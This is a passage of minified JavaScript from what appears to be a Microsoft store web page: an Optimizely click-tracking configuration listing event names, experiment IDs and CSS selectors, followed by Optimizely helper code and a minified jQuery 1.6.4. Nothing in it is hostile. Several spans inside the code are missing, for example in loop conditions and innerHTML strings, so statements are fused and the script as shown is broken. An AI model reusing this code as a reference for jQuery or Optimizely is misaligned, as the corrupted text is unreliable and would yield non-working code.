.rotate-right"},{"event_name":"home_page_-_shop_categories_clicks","experiments":{"1757921194":true,"2127700459":true,"1598753233":true,"1765471155":true,"1983080054":true,"2012550391":true},"selector":".top-categories .column-4 > div:eq(0)"},{"event_name":"flyout_image_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".mscom-nav-container .exp-background.clickable"},{"event_name":"office_category_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".border-bottom > div:eq(5) > a:eq(0) > div:eq(0) > img:eq(0),.border-bottom > div:eq(5) > a:eq(0) > p:eq(0),.active .grid-container > div:eq(1) > div:eq(1) > div:eq(0) > h3:eq(0) > a:eq(0), .mscom-nav-container .tab-office .exp-col-one li.header"},{"event_name":"l2_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true,"1983080054":true},"selector":"header .drop-down-menu .top-category, .exp-nav-flyout .exp-col-left li"},{"event_name":"computer_(pc_&_tablet)_category_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".border-bottom > div:eq(1) > a:eq(0) > div:eq(0) > img:eq(0),.border-bottom > div:eq(1) > a:eq(0) > p:eq(0),.active .grid-container > div:eq(1) > div:eq(0) > div:eq(0) > h3:eq(0) > a:eq(0), .mscom-nav-container .tab-pcs .exp-col-one li.header"},{"event_name":"surface_cateogry_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true},"selector":".no-outline > div,.no-outline > .call-to-action,.active .grid-container > div:eq(1) > div:eq(0) > div:eq(0) > ul:eq(0) > li:eq(0), .tab-surface .header > a:eq(0), .mscom-nav-container .tab-surface .exp-col-one li.header"},{"event_name":"l1_clicks","experiments":{"1598753233":true,"1757921194":true,"1765471155":true,"1983080054":true},"selector":"header .top-level-menuitem, .mscom-nav-container .mscom-nav-item-link"},{"event_name":"1x_shop_surface_clicks","experiments":{"1755030238":true},"selector":".row-right > a"},{"event_name":"arrow_clicks","experiments":{"1718130320":true,"2014220588":true},"selector":".exp-returnbutton"},{"event_name":"give_campaign_clicks","experiments":{"1771420089":true},"selector":".category-products"},{"event_name":"signature_pdp_clicks","experiments":{"1855780081":true},"selector":".for-desktop"},{"event_name":"home_page_banner_clicks","experiments":{"2012550391":true},"selector":".category-products > .row > div:eq(0) > a:eq(0) > div:eq(0) > div:eq(0) > div:eq(0) > img:eq(0),#body,.category-products > .row > div:eq(0) > a:eq(0) > div:eq(0) > div:eq(1),.category-products > .row > div:eq(0) > a:eq(1) > div:eq(0) > div:eq(0) > div:eq(0) > img:eq(0),.category-products > .row > div:eq(1) > a:eq(0) > div:eq(0) > div:eq(0) > div:eq(0) > img:eq(0),.category-products > .row > div:eq(1) > a:eq(1) > div:eq(0) > div:eq(0) > div:eq(0) > img:eq(0),.category-products > .row > div:eq(1) > a:eq(1) > div:eq(0) > div:eq(1),.category-products > .row > div:eq(1) > a:eq(0) > div:eq(0) > div:eq(1),.category-products > .row > div:eq(0) > a:eq(1) > div:eq(0) > div:eq(1),.top-categories .column-4,.large > img,.top > img,.bottom > img"},{"event_name":"office_hero_2_banner_clicks","experiments":{"2098831390":true},"selector":".top > img"},{"event_name":"home_page_(hero_&_spotlight_clicks)","experiments":{"2127700459":true},"selector":".top > img,.bottom > img,.large > img,.top-categories .colspan-3 > div:eq(0) > div:eq(0) > a:eq(0) > img:eq(0),.top-categories .colspan-3 > div:eq(0) > div:eq(1) > a:eq(0) > img:eq(0),.top-categories .colspan-3 > div:eq(0) > div:eq(2) > a:eq(0) > img:eq(0),.top-categories .colspan-3 > div:eq(1) > div:eq(2) > a:eq(0) > img:eq(0),.top-categories .colspan-3 > div:eq(1) > div:eq(1) > a:eq(0) > img:eq(0),.top-categories .colspan-3 > div:eq(1) > div:eq(0) > a:eq(0) > img:eq(0),.top-categories .colspan-3 > div:eq(0) > div:eq(0) > a:eq(0) > p:eq(0),.top-categories .colspan-3 > div:eq(0) > div:eq(1) > a:eq(0) > p:eq(0),.top-categories .colspan-3 > div:eq(0),.top-categories .colspan-3 > div:eq(1) > div:eq(2) > a:eq(0) > h2:eq(0),.top-categories .colspan-3 > div:eq(1) > div:eq(2),.top-categories .colspan-3 > div:eq(1) > div:eq(1),.top-categories .colspan-3 > div:eq(1) > div:eq(0),.top-categories .colspan-3"},{"event_name":"takeover_video_clicks","experiments":{"2106284384":true,"2068570133":true,"2124281573":true},"selector":".launch-video > img"},{"event_name":"takeover_banner_clicks","experiments":{"2106284384":true,"2068570133":true,"2124281573":true},"selector":".triple-hero-control"},{"event_name":"o365_clicks","experiments":{"2128990152":true,"2205140154":true,"2439950394":true},"selector":".exp-buybox > td:eq(0),.show,.product-descriptions > div:eq(1),.product-descriptions > div:eq(2), .exp-comparetable .exp-buybox td:eq(0), .exp-comparetable .exp-buybox td:eq(1)"},{"event_name":"bing_rewards:_pdp_learn_more_engagement","experiments":{"2206812045":true,"2197801166":true,"2212531120":true,"2185410609":true,"2140160078":true,"2186750302":true},"selector":"#bing-pdp-learn-more"},{"event_name":"office_compare_product_clicks","experiments":{"2128990152":true,"2205140154":true,"2439950394":true},"selector":".product-descriptions > div:eq(1),.product-descriptions > div:eq(2),.product-descriptions > div:eq(4),.product-descriptions > div:eq(3), .exp-comparetable .exp-buybox"},{"event_name":"office_cat_big_banner_clicks","experiments":{"2187340029":true},"selector":".full-page-splash"},{"event_name":"enroll_in_rewards_(new)","url_conditions":{"values":[{"match":"substring","value":"ThreePgCheckoutShoppingCartPage"}]},"selector":".rewards-signup input"},{"event_name":"xbox_cat_banner_shop_now_clicks","experiments":{"2171090442":true},"selector":".cta-primary"},{"event_name":"Complete_Attach_Add_to_Cart","experiments":{"2228840064":true,"2206650690":true,"2200860495":true,"2442420210":true,"2303220116":true,"2198774038":true,"2211362391":true},"selector":".exp-modal-addon .exp-yes"},{"event_name":"Complete_Attach_No_thanks","experiments":{"2228840064":true,"2206650690":true,"2200860495":true,"2442420210":true,"2303220116":true,"2198774038":true,"2211362391":true},"selector":".exp-modal-addon .exp-no"},{"event_name":"MS_Band_Twitter_Instagram_clicks","experiments":{"2165390858":true,"2224540939":true},"selector":".slide-container"},{"event_name":"Add to Cart Clicks in pop up","experiments":{"2131261251":true,"2312950901":true},"selector":".exp-cartoverlay .exp-listbutton"},{"event_name":"Plus sign clicks","experiments":{"2131261251":true,"2312950901":true},"selector":".exp-cartoverlay .exp-buttonslider"},{"event_name":"email_opt_in","experiments":{"2201330150":true},"selector":".optInContainer input[type=\"checkbox\"][name=\"optIn\"]"},{"event_name":"example_clicks","experiments":{"2298370170":true},"selector":".box"},{"event_name":"clicks_on_12_days_button","experiments":{"2283840342":true},"selector":".box"},{"event_name":"mod_g_clicks","experiments":{"2337280879":true},"selector":".category-product-3up > .row"},{"event_name":"mod_g_xbox_360_clicks","experiments":{"2337280879":true},"selector":".category-product-3up > .row > a:eq(1) > div:eq(0) > h3:eq(1)"},{"event_name":"mod_a_clicks","experiments":{"2337280879":true},"selector":".large-container .show-desktop"},{"event_name":"5th_spotlight_clicks","experiments":{"2376160608":true},"selector":".top-categories .colspan-3 > div:eq(1) > div:eq(1) > a:eq(0) > img:eq(0)"},{"event_name":"mod_g_apps_clicks","experiments":{"2337280879":true},"selector":".foreground-red .heading--small"},{"event_name":"mod_g_xbox_one","experiments":{"2337280879":true},"selector":".no-outline .heading--small"},{"event_name":"clicks_on_top_ribbon","experiments":{"2363081110":true},"selector":".exp-content"},{"event_name":"product link clicks","experiments":{"2257840006":true},"selector":".exp-11-05"},{"event_name":"xbox_one_add_to_cart","experiments":{"2414150244":true},"selector":".pdp-cta .buyBtn_AddtoCart"},{"event_name":"find_a_store_clicks","experiments":{"2408400010":true},"selector":"nav > ul:eq(0) > li:eq(6) > a:eq(0),.footer-offer ul > li:eq(8) > a:eq(0),.row-padded-top .column-4 > div:eq(1) > div:eq(1) > ul:eq(0) > li:eq(3) > a:eq(0)"},{"event_name":"evolve_clicks","experiments":{"2412760531":true},"selector":".bottom > img"},{"event_name":"university_clicks","experiments":{"2386960774":true},"selector":"#dr_CategoryList > section:eq(0) > div:eq(0) > div:eq(0) > img:eq(0)"},{"event_name":"product_module","experiments":{"2386960774":true},"selector":"#for-home-and-students > .category-products > div:eq(0)"},{"event_name":"compare_chart","experiments":{"2444020070":true},"selector":".grid-table > .grid-container"},{"event_name":"h&b","experiments":{"2412190680":true},"selector":".grid-table .exp-buybox > td:eq(3)"},{"event_name":"o365cat_clicks","experiments":{"2374960305":true,"2386960774":true},"selector":"#for-home-and-students > .category-products > div:eq(0) > div:eq(0) > a:eq(0)"},{"event_name":"mac_h&s","experiments":{"2412190680":true},"selector":".grid-table .exp-buybox > td:eq(4)"},{"event_name":"add to cart candy rack","experiments":{"2352131839":true},"selector":".item-1 > a,.item-2 > a,.item-3 > a,.item-4 > a"},{"event_name":"o365university_clicks","experiments":{"2374960305":true,"2386960774":true},"selector":"#for-home-and-students > .category-products > div:eq(0) > div:eq(1) > a:eq(0)"},{"event_name":"xbox_clicks","experiments":{"2404610261":true},"selector":".pdp-cta .buyBtn_AddtoCart"},{"event_name":"h&s","experiments":{"2412190680":true},"selector":".grid-table .exp-buybox > td:eq(2)"},{"event_name":"mod_b_clicks","experiments":{"2386960774":true},"selector":".category-banner-4up > .row > div:eq(1),.category-banner-4up > .row > div:eq(0)"},{"event_name":"xbox_one_console_clicks","experiments":{"2412760531":true},"selector":".top > img"},{"event_name":"mac_h&b","experiments":{"2412190680":true},"selector":".grid-table .exp-buybox > td:eq(5)"},{"event_name":"o365_personal","experiments":{"2412190680":true},"selector":".exp-buybox > td:eq(1)"},{"event_name":"o365_personal_clicks","experiments":{"2374960305":true,"2386960774":true},"selector":"#for-home-and-students > .category-products > div:eq(0) > div:eq(0) > a:eq(1)"},{"event_name":"home&student_clicks","experiments":{"2386960774":true},"selector":"#for-home-and-students > .category-products > div:eq(0) > div:eq(1) > a:eq(1)"},{"event_name":"o365_home","experiments":{"2412190680":true},"selector":".exp-buybox > td:eq(0)"},{"event_name":"link_in_sticky_header","experiments":{"2444020070":true},"selector":".nav-arrow-links > a:eq(1) > span:eq(0)"},{"event_name":"us:_ty_page_download_button_clicks","experiments":{"2434361419":true,"2470150086":true},"selector":".complete-order-item a.download.optiExpBtn"},{"event_name":"hero_6_clicks","experiments":{"2521750013":true},"selector":".top-categories .colspan-3 > div:eq(1) > div:eq(2) > a:eq(0) > img:eq(0)"},{"event_name":"top_right_hero","experiments":{"2500470239":true},"selector":".top > img"},{"event_name":"add_to_cart","experiments":{"2434110347":true},"selector":"#physicalwithoutkeyboardinteli364gbenglish > span:eq(0) > a:eq(0)"},{"event_name":"step_2_clicks","experiments":{"2506570584":true},"selector":".which-devices > div:eq(1) > div:eq(0), .which-devices > div:eq(2) > div:eq(0)"},{"event_name":"startvideochat","experiments":{"2497301984":true,"2515650238":true,"2454090358":true},"selector":"#videodesk-start-video-chat"},{"event_name":"buy_box_clicks","experiments":{"2506570584":true},"selector":".exp-buybox td:eq(0) a,.exp-buybox td:eq(1) a,.exp-buybox td:eq(2) a,.exp-buybox td:eq(3) a,.exp-buybox td:eq(4) a,.exp-buybox td:eq(5) a,.exp-buybox td:eq(6) a"},{"event_name":"ratings_and_review_clicks","experiments":{"2444121870":true},"selector":" a.bv-rating-stars-container, .bv-text-link"},{"event_name":"step_3_clicks","experiments":{"2506570584":true},"selector":".which-programs > div:eq(1) > div:eq(0), .which-programs > div:eq(2) > div:eq(0)"},{"event_name":"step_1_clicks","experiments":{"2506570584":true},"selector":".how-many-users > div:eq(1), .how-many-users > div:eq(2)"},{"event_name":"clicks_to_shopping_cart","experiments":{"2513890015":true},"selector":".cart, #desktop-cart-menu-links .view-cart"},{"event_name":"gallery_clicks","experiments":{"2513740329":true},"selector":".media-container > .product-thumbnails > li:eq(1) > a:eq(0) > img:eq(0),.media-container > .product-thumbnails > li:eq(2) > a:eq(0) > img:eq(0),.media-container"},{"event_name":"add_to_cart_-swap","experiments":{"2513740329":true},"selector":".pdp-cta .buyBtn_AddtoCart"},{"event_name":"videodeskchat","experiments":{"2593480067":true,"2600460454":true,"2590571145":true,"2580240722":true,"2583171893":true,"2580810103":true,"2591260089":true,"2587540158":true,"2571090645":true},"selector":"#videodesk-start-video-chat"},{"event_name":"Live person chat start","experiments":{"2583171893":true,"2587540158":true},"selector":"div[id^=\"lpInviteLayer\"]"},{"event_name":"add_to_cart_from_review","experiments":{"2561120019":true},"selector":"#cartSection .cart-submit input"},{"event_name":"step_4","experiments":{"2561120019":true},"selector":"#25265500 > .section-layer"},{"event_name":"step_3","experiments":{"2561120019":true},"selector":"#25265100 > .section-layer"},{"event_name":"step_5","experiments":{"2561120019":true},"selector":"#25265300 > .section-layer"},{"event_name":"step_1","experiments":{"2561120019":true},"selector":"#pick-group25265000 > div:eq(0),#pick-group25265000 > div:eq(1) > div:eq(0)"},{"event_name":"step_2","experiments":{"2561120019":true},"selector":"#25265400 > .section-layer"},{"event_name":"surface_category_-_hero_banner_clicks","experiments":{"6524780098355200":true,"401710411":true},"selector":".category-offer img"},{"event_name":"compare_surface_button_clicks","experiments":{"6481869080100864":true,"269555287":true},"selector":".cta-container .box"},{"event_name":"windows_category_page_-_hero_banner_clicks","experiments":{"4550464163020800":true},"selector":".category-offer img"},{"event_name":"pre-order_clicks","experiments":{"5408021492531200":true,"308876147":true},"selector":".button"}]}; + +var optly={nativity:{}};optly.nativity.getNativeGetElementsByClassName=function(){var a=document.getElementsByClassName;if(!optly.nativity.isNativeFunction(a))var a=(window.optimizely||{}).getElementsByClassName,b=(window.optly||{}).getElementsByClassName,a=optly.nativity.isNativeFunction(a)?a:optly.nativity.isNativeFunction(b)?b:null;return a};optly.nativity.isNativeFunction=function(a){return a&&-1!==String(a).indexOf("[native code]")};optly.Cleanse={};optly.Cleanse.each=function(a,b,d){var h=!!Object.prototype.__lookupGetter__,e=!!Object.prototype.__lookupSetter__,c;for(c in a)if(a.hasOwnProperty(c)){var f=h?a.__lookupGetter__(c):null,g=e?a.__lookupSetter__(c):null;try{b.call(d,c,!f?a[c]:null,f,g)}catch(i){}}}; +optly.Cleanse.finish=function(){if(optly.Cleanse.running){optly.Cleanse.running=!1;optly.Cleanse.each(optly.Cleanse.types,function(a,d){Object.prototype.__defineGetter__&&optly.Cleanse.each(optly.Cleanse.getters[a],function(c,b){d.prototype.__defineGetter__(c,b);optly.Cleanse.log("restored getter",a,c)});Object.prototype.__defineSetter__&&optly.Cleanse.each(optly.Cleanse.setters[a],function(c,b){d.prototype.__defineSetter__(c,b);optly.Cleanse.log("restored setter",a,c)});optly.Cleanse.each(optly.Cleanse.properties[a], +function(b,f){d.prototype[b]=f;optly.Cleanse.log("restored property",a,b)})});optly.Cleanse.unfixGetElementsByClassName();optly.Cleanse.log("finish");var a=window.console;if((-1!==window.location.hash.indexOf("optimizely_log=true")||-1!==window.location.search.indexOf("optimizely_log=true"))&&a&&a.log)for(var b=optly.Cleanse.logs,d=0;dc)break;a.currentTarget=e.elem;a.data=e.handleObj.data;a.handleObj=e.handleObj;l=e.handleObj.origHandler.apply(e.elem,arguments);if(!1===l||a.isPropagationStopped())if(c=e.level,!1===l&&(b=!1),a.isImmediatePropagationStopped())break}return b}}function P(a,b){return(a&&"*"!==a?a+".":"")+b.replace(nb,"`").replace(ob,"&")}function Ba(a,b,c){b=b||0;if(d.isFunction(b))return d.grep(a, +function(a,g){return!!b.call(a,g,a)===c});if(b.nodeType)return d.grep(a,function(a){return a===b===c});if("string"===typeof b){var g=d.grep(a,function(a){return 1===a.nodeType});if(pb.test(b))return d.filter(b,g,!c);b=d.filter(b,g)}return d.grep(a,function(a){return 0<=d.inArray(a,b)===c})}function Ca(a,b){if(1===b.nodeType&&d.hasData(a)){var c=d.expando,g=d.data(a),e=d.data(b,g);if(g=g[c]){var f=g.events,e=e[c]=d.extend({},g);if(f){delete e.handle;e.events={};for(var h in f){c=0;for(g=f[h].length;c< +g;c++)d.event.add(b,h+(f[h][c].namespace?".":"")+f[h][c].namespace,f[h][c],f[h][c].data)}}}}}function Da(a,b){var c;if(1===b.nodeType){b.clearAttributes&&b.clearAttributes();b.mergeAttributes&&b.mergeAttributes(a);c=b.nodeName.toLowerCase();if("object"===c)b.outerHTML=a.outerHTML;else if("input"===c&&("checkbox"===a.type||"radio"===a.type)){if(a.checked&&(b.defaultChecked=b.checked=a.checked),b.value!==a.value)b.value=a.value}else if("option"===c)b.selected=a.defaultSelected;else if("input"===c|| +"textarea"===c)b.defaultValue=a.defaultValue;b.removeAttribute(d.expando)}}function Q(a){return"getElementsByTagName"in a?a.getElementsByTagName("*"):"querySelectorAll"in a?a.querySelectorAll("*"):[]}function Ea(a){if("checkbox"===a.type||"radio"===a.type)a.defaultChecked=a.checked}function Fa(a){d.nodeName(a,"input")?Ea(a):"getElementsByTagName"in a&&d.grep(a.getElementsByTagName("input"),Ea)}function qb(a,b){b.src?d.ajax({url:b.src,async:!1,dataType:"script"}):d.globalEval((b.text||b.textContent|| +b.innerHTML||"").replace(rb,"/*$0*/"));b.parentNode&&b.parentNode.removeChild(b)}function Ga(a,b,c){var g="width"===b?a.offsetWidth:a.offsetHeight,e="width"===b?sb:tb;if(0g||null==g)g=a.style[b]||0;g=parseFloat(g)||0;c&&d.each(e,function(){g+=parseFloat(d.css(a,"padding"+this))||0;"padding"!== +c&&(g+=parseFloat(d.css(a,"border"+this+"Width"))||0);"margin"===c&&(g+=parseFloat(d.css(a,c+this))||0)});return g+"px"}var l=r.document,d,Ha=function(){if(!k.isReady){try{l.documentElement.doScroll("left")}catch(a){setTimeout(Ha,1);return}k.ready()}},k=function(a,b){return new k.fn.init(a,b,Ia)},ub=r.jQuery,vb=r.$,Ia,wb=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,Ja=/\S/,Ka=/^\s+/,La=/\s+$/,xb=/\d/,yb=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,zb=/^[\],:{}\s]*$/,Ab=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,Bb=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, +Cb=/(?:^|:|,)(?:\s*\[)+/g,Db=/(webkit)[ \/]([\w.]+)/,Eb=/(opera)(?:.*version)?[ \/]([\w.]+)/,Fb=/(msie) ([\w.]+)/,Gb=/(mozilla)(?:.*? rv:([\w.]+))?/,Hb=/-([a-z]|[0-9])/ig,Ib=/^-ms-/,Jb=function(a,b){return(b+"").toUpperCase()},Kb=r.navigator.userAgent,R,S,B,Lb=Object.prototype.toString,ja=Object.prototype.hasOwnProperty,ka=Array.prototype.push,I=Array.prototype.slice,Ma=String.prototype.trim,Na=Array.prototype.indexOf,Oa={};k.fn=k.prototype={constructor:k,init:function(a,b,c){var g;if(!a)return this; +if(a.nodeType)return this.context=this[0]=a,this.length=1,this;if("body"===a&&!b&&l.body)return this.context=l,this[0]=l.body,this.selector=a,this.length=1,this;if("string"===typeof a){if((g="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&3<=a.length?[null,a,null]:wb.exec(a))&&(g[1]||!b)){if(g[1])return c=(b=b instanceof k?b[0]:b)?b.ownerDocument||b:l,(a=yb.exec(a))?k.isPlainObject(b)?(a=[l.createElement(a[1])],k.fn.attr.call(a,b,!0)):a=[c.createElement(a[1])]:(a=k.buildFragment([g[1]],[c]),a=(a.cacheable? +k.clone(a.fragment):a.fragment).childNodes),k.merge(this,a);if((b=l.getElementById(g[2]))&&b.parentNode){if(b.id!==g[2])return c.find(a);this.length=1;this[0]=b}this.context=l;this.selector=a;return this}return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a)}if(k.isFunction(a))return c.ready(a);a.selector!==m&&(this.selector=a.selector,this.context=a.context);return k.makeArray(a,this)},selector:"",jquery:"1.6.4",length:0,size:function(){return this.length},toArray:function(){return I.call(this, +0)},get:function(a){return null==a?this.toArray():0>a?this[this.length+a]:this[a]},pushStack:function(a,b,c){var g=this.constructor();k.isArray(a)?ka.apply(g,a):k.merge(g,a);g.prevObject=this;g.context=this.context;"find"===b?g.selector=this.selector+(this.selector?" ":"")+c:b&&(g.selector=this.selector+"."+b+"("+c+")");return g},each:function(a,b){return k.each(this,a,b)},ready:function(a){k.bindReady();S.done(a);return this},eq:function(a){return-1===a?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)}, +last:function(){return this.eq(-1)},slice:function(){return this.pushStack(I.apply(this,arguments),"slice",I.call(arguments).join(","))},map:function(a){return this.pushStack(k.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:ka,sort:[].sort,splice:[].splice};k.fn.init.prototype=k.fn;k.extend=k.fn.extend=function(){var a,b,c,g,d,f=arguments[0]||{},h=1,i=arguments.length,j=!1;"boolean"===typeof f&&(j=f,f=arguments[1]||{},h=2);"object"!== +typeof f&&!k.isFunction(f)&&(f={});i===h&&(f=this,--h);for(;ha.indexOf("compatible")&&Gb.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},sub:function(){function a(b,d){return new a.fn.init(b,d)}k.extend(!0,a,this);a.superclass=this;a.fn=a.prototype=this();a.fn.constructor=a;a.sub=this.sub;a.fn.init=function(c,d){d&&(d instanceof k&&!(d instanceof a))&&(d=a(d));return k.fn.init.call(this, +c,d,b)};a.fn.init.prototype=a.fn;var b=a(l);return a},browser:{}});k.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){Oa["[object "+b+"]"]=b.toLowerCase()});R=k.uaMatch(Kb);R.browser&&(k.browser[R.browser]=!0,k.browser.version=R.version);k.browser.webkit&&(k.browser.safari=!0);Ja.test("\u00a0")&&(Ka=/^[\s\xA0]+/,La=/[\s\xA0]+$/);Ia=k(l);l.addEventListener?B=function(){l.removeEventListener("DOMContentLoaded",B,false);k.ready()}:l.attachEvent&&(B=function(){if(l.readyState=== +"complete"){l.detachEvent("onreadystatechange",B);k.ready()}});d=k;var la="done fail isResolved isRejected promise then always pipe".split(" "),Pa=[].slice;d.extend({_Deferred:function(){var a=[],b,c,g,e={done:function(){if(!g){var c=arguments,h,i,j,k,m;if(b){m=b;b=0}h=0;for(i=c.length;h +1?Pa.call(arguments,0):b;--f||h.resolveWith(h,Pa.call(c,0))}}var c=arguments,g=0,e=c.length,f=e,h=e<=1&&a&&d.isFunction(a.promise)?a:d.Deferred();if(e>1){for(;g
    a"; +na=o.getElementsByTagName("*");C=o.getElementsByTagName("a")[0];if(!na||!na.length||!C)ma={};else{T=l.createElement("select");U=T.appendChild(l.createElement("option"));u=o.getElementsByTagName("input")[0];s={leadingWhitespace:3===o.firstChild.nodeType,tbody:!o.getElementsByTagName("tbody").length,htmlSerialize:!!o.getElementsByTagName("link").length,style:/top/.test(C.getAttribute("style")),hrefNormalized:"/a"===C.getAttribute("href"),opacity:/^0.55$/.test(C.style.opacity),cssFloat:!!C.style.cssFloat, +checkOn:"on"===u.value,optSelected:U.selected,getSetAttribute:"t"!==o.className,submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0};u.checked=!0;s.noCloneChecked=u.cloneNode(!0).checked;T.disabled=!0;s.optDisabled=!U.disabled;try{delete o.test}catch(jc){s.deleteExpando=!1}!o.addEventListener&&(o.attachEvent&&o.fireEvent)&&(o.attachEvent("onclick",function(){s.noCloneEvent=false}),o.cloneNode(!0).fireEvent("onclick")); +u=l.createElement("input");u.value="t";u.setAttribute("type","radio");s.radioValue="t"===u.value;u.setAttribute("checked","checked");o.appendChild(u);V=l.createDocumentFragment();V.appendChild(o.firstChild);s.checkClone=V.cloneNode(!0).cloneNode(!0).lastChild.checked;o.innerHTML="";o.style.width=o.style.paddingLeft="1px";J=l.getElementsByTagName("body")[0];x=l.createElement(J?"div":"body");X={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"};J&&d.extend(X,{position:"absolute", +left:"-1000px",top:"-1000px"});for(E in X)x.style[E]=X[E];x.appendChild(o);W=J||Nb;W.insertBefore(x,W.firstChild);s.appendChecked=u.checked;s.boxModel=2===o.offsetWidth;"zoom"in o.style&&(o.style.display="inline",o.style.zoom=1,s.inlineBlockNeedsLayout=2===o.offsetWidth,o.style.display="",o.innerHTML="
    ",s.shrinkWrapBlocks=2!==o.offsetWidth);o.innerHTML="
    t
    ";K=o.getElementsByTagName("td"); +F=0===K[0].offsetHeight;K[0].style.display="";K[1].style.display="none";s.reliableHiddenOffsets=F&&0===K[0].offsetHeight;o.innerHTML="";l.defaultView&&l.defaultView.getComputedStyle&&(D=l.createElement("div"),D.style.width="0",D.style.marginRight="0",o.appendChild(D),s.reliableMarginRight=0===(parseInt((l.defaultView.getComputedStyle(D,null)||{marginRight:0}).marginRight,10)||0));x.innerHTML="";W.removeChild(x);if(o.attachEvent)for(E in{submit:1,change:1,focusin:1})Y="on"+E,F=Y in o,F||(o.setAttribute(Y, +"return;"),F="function"===typeof o[Y]),s[E+"Bubbles"]=F;x=V=T=U=J=D=o=u=null;ma=s}Mb.support=ma;d.boxModel=d.support.boxModel;var lb=/^(?:\{.*\}|\[.*\])$/,kb=/([A-Z])/g;d.extend({cache:{},uuid:0,expando:"jQuery"+(d.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?d.cache[a[d.expando]]:a[d.expando];return!!a&&!ha(a)},data:function(a,b,c,g){if(d.acceptData(a)){var e=d.expando,f=typeof b==="string", +h=a.nodeType,i=h?d.cache:a,j=h?a[d.expando]:a[d.expando]&&d.expando;if(j&&(!g||!j||!i[j]||i[j][e])||!(f&&c===m)){if(!j)h?a[d.expando]=j=++d.uuid:j=d.expando;if(!i[j]){i[j]={};if(!h)i[j].toJSON=d.noop}if(typeof b==="object"||typeof b==="function")g?i[j][e]=d.extend(i[j][e],b):i[j]=d.extend(i[j],b);a=i[j];if(g){a[e]||(a[e]={});a=a[e]}c!==m&&(a[d.camelCase(b)]=c);if(b==="events"&&!a[b])return a[e]&&a[e].events;if(f){c=a[b];c==null&&(c=a[d.camelCase(b)])}else c=a;return c}}},removeData:function(a,b,c){if(d.acceptData(a)){var g, +e=d.expando,f=a.nodeType,h=f?d.cache:a,i=f?a[d.expando]:d.expando;if(h[i]){if(b)if(g=c?h[i][e]:h[i]){g[b]||(b=d.camelCase(b));delete g[b];if(!ha(g))return}if(c){delete h[i][e];if(!ha(h[i]))return}b=h[i][e];d.support.deleteExpando||!h.setInterval?delete h[i]:h[i]=null;if(b){h[i]={};if(!f)h[i].toJSON=d.noop;h[i][e]=b}else f&&(d.support.deleteExpando?delete a[d.expando]:a.removeAttribute?a.removeAttribute(d.expando):a[d.expando]=null)}}},_data:function(a,b,c){return d.data(a,b,c,true)},acceptData:function(a){if(a.nodeName){var b= +d.noData[a.nodeName.toLowerCase()];if(b)return!(b===true||a.getAttribute("classid")!==b)}return true}});d.fn.extend({data:function(a,b){var c=null;if(typeof a==="undefined"){if(this.length){c=d.data(this[0]);if(this[0].nodeType===1)for(var g=this[0].attributes,e,f=0,h=g.length;f-1)return true;return false},val:function(a){var b,c,g=this[0];if(!arguments.length){if(g){if((b=d.valHooks[g.nodeName.toLowerCase()]||d.valHooks[g.type])&&"get"in b&&(c=b.get(g,"value"))!==m)return c;c=g.value;return typeof c=== +"string"?c.replace(Ob,""):c==null?"":c}return m}var e=d.isFunction(a);return this.each(function(c){var g=d(this);if(this.nodeType===1){c=e?a.call(this,c,g.val()):a;c==null?c="":typeof c==="number"?c=c+"":d.isArray(c)&&(c=d.map(c,function(a){return a==null?"":a+""}));b=d.valHooks[this.nodeName.toLowerCase()]||d.valHooks[this.type];if(!b||!("set"in b)||b.set(this,c,"value")===m)this.value=c}})}});d.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}}, +select:{get:function(a){var b,c=a.selectedIndex,g=[],e=a.options,a=a.type==="select-one";if(c<0)return null;for(var f=a?c:0,h=a?c+1:e.length;f=0});if(!c.length)a.selectedIndex=-1;return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(a,b,c,g){var e=a.nodeType;if(!a||e===3||e===8||e===2)return m;if(g&&b in d.attrFn)return d(a)[b](c);if(!("getAttribute"in a))return d.prop(a,b,c);var f,h;if(g=e!==1||!d.isXMLDoc(a)){b=d.attrFix[b]||b;(h=d.attrHooks[b])||(Ra.test(b)?h=Sa:y&&(h=y))}if(c!==m){if(c===null){d.removeAttr(a,b);return m}if(h&&"set"in h&&g&&(f=h.set(a,c, +b))!==m)return f;a.setAttribute(b,""+c);return c}if(h&&"get"in h&&g&&(f=h.get(a,b))!==null)return f;f=a.getAttribute(b);return f===null?m:f},removeAttr:function(a,b){var c;if(a.nodeType===1){b=d.attrFix[b]||b;d.attr(a,b,"");a.removeAttribute(b);if(Ra.test(b)&&(c=d.propFix[b]||b)in a)a[c]=false}},attrHooks:{type:{set:function(a,b){if(Pb.test(a.nodeName)&&a.parentNode)d.error("type property can't be changed");else if(!d.support.radioValue&&b==="radio"&&d.nodeName(a,"input")){var c=a.value;a.setAttribute("type", +b);if(c)a.value=c;return b}}},value:{get:function(a,b){return y&&d.nodeName(a,"button")?y.get(a,b):b in a?a.value:null},set:function(a,b,c){if(y&&d.nodeName(a,"button"))return 